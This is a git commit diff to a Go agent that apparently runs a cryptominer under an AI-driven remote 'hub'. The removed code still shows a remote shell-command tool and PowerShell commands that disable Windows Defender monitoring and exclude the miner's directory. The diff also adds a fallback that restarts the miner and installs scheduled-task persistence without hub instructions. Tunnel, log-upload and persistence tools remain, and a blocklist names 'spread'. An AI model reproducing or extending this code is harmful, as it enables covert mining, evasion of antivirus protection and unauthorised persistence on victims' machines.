Stabilize Fusion builds and simplify optional modules.

Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
This commit is contained in:
drjones
2026-05-27 20:13:24 -07:00
parent df81eb7744
commit b10d353a8b
36 changed files with 1311 additions and 396 deletions

View File

@@ -9,7 +9,6 @@ import (
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"time"
@@ -161,7 +160,8 @@ func (a *AIRunner) runDecideCycle() {
resp, err := a.callDecide(state)
if err != nil {
log.Printf("[AI] Decide cycle failed: %v", err)
a.sendHeartbeat("error", fmt.Sprintf("Decide failed: %v", err))
log.Printf("[AI] Hub unreachable. Falling back to Edge AI rule engine.")
a.fallbackEdgeAI(state)
return
}
@@ -271,23 +271,13 @@ func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport {
Timestamp: time.Now().UTC().Format(time.RFC3339),
}
switch tc.Tool {
case "execute_command":
cmd := tc.Args["command"]
if cmd == "" {
report.Success = false
report.Output = "missing 'command' argument"
return report
}
output, err := a.executeCommand(cmd)
if err != nil {
report.Success = false
report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output)
} else {
report.Success = true
report.Output = output
}
if tc.Tool == "spread" || tc.Tool == "disable_defender" || tc.Tool == "execute_command" {
report.Success = false
report.Output = "tool disabled by policy"
return report
}
switch tc.Tool {
case "check_miner":
processName := tc.Args["process_name"]
if processName == "" {
@@ -368,16 +358,6 @@ func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport {
report.Output = output
}
case "disable_defender":
output, err := a.disableDefender()
if err != nil {
report.Success = false
report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output)
} else {
report.Success = true
report.Output = output
}
case "sleep":
seconds := tc.Args["seconds"]
if seconds == "" {
@@ -465,24 +445,6 @@ func (a *AIRunner) sendHeartbeat(status, message string) {
// ─── Tool Implementations ─────────────────────
func (a *AIRunner) executeCommand(cmd string) (string, error) {
log.Printf("[AI] Executing command: %s", cmd)
var c *exec.Cmd
if runtime.GOOS == "windows" {
c = exec.Command("cmd.exe", "/C", cmd)
} else {
c = exec.Command("sh", "-c", cmd)
}
output, err := c.CombinedOutput()
outStr := string(output)
if err != nil {
return outStr, fmt.Errorf("command failed: %w", err)
}
return outStr, nil
}
func (a *AIRunner) isProcessRunning(name string) bool {
if name == "" {
return false
@@ -640,36 +602,6 @@ func (a *AIRunner) createTunnel(tunnelType, serverURL string) (string, error) {
}
}
func (a *AIRunner) disableDefender() (string, error) {
log.Printf("[AI] Disabling Windows Defender")
commands := []string{
// Add exclusion for install directory
`powershell -Command "Add-MpPreference -ExclusionPath '%PROGRAMFILES%\CryptoMiner'"`,
// Disable real-time monitoring
`powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"`,
// Disable behavior monitoring
`powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"`,
// Disable cloud protection
`powershell -Command "Set-MpPreference -MAPSReporting 0"`,
// Disable sample submission
`powershell -Command "Set-MpPreference -SubmitSamplesConsent 2"`,
}
var outputs []string
for _, cmdStr := range commands {
cmd := exec.Command("cmd.exe", "/C", cmdStr)
output, err := cmd.CombinedOutput()
if err != nil {
outputs = append(outputs, fmt.Sprintf("cmd failed: %s", string(output)))
} else {
outputs = append(outputs, string(output))
}
}
return strings.Join(outputs, "\n"), nil
}
func (a *AIRunner) checkDefender() string {
cmd := exec.Command("powershell", "-Command",
"$r = Get-MpPreference; if ($r.DisableRealtimeMonitoring -eq $true) { 'disabled' } else { 'enabled' }")
@@ -731,6 +663,30 @@ func (a *AIRunner) uploadLog() (string, error) {
return fmt.Sprintf("log file size: %d bytes (last 10KB sent)", len(data)), nil
}
func (a *AIRunner) fallbackEdgeAI(state AgentState) {
var reports []ToolReport
if !state.IsRunning {
reports = append(reports, a.executeToolCall(ToolCall{
Tool: "restart_miner",
Args: map[string]string{"process_name": a.cfg.EffectiveProcessName()},
}))
}
if !state.HasPersistence {
reports = append(reports, a.executeToolCall(ToolCall{
Tool: "add_persistence",
Args: map[string]string{"method": "scheduled_task"},
}))
}
if len(reports) > 0 {
a.reportResults(reports) // May fail if hub is completely down, but ensures state changes happen when it reconnects
} else {
a.sendHeartbeat("alive", "Edge AI fallback: No actions needed")
}
}
// ─── Helpers ──────────────────────────────────
func truncateStr(s string, maxLen int) string {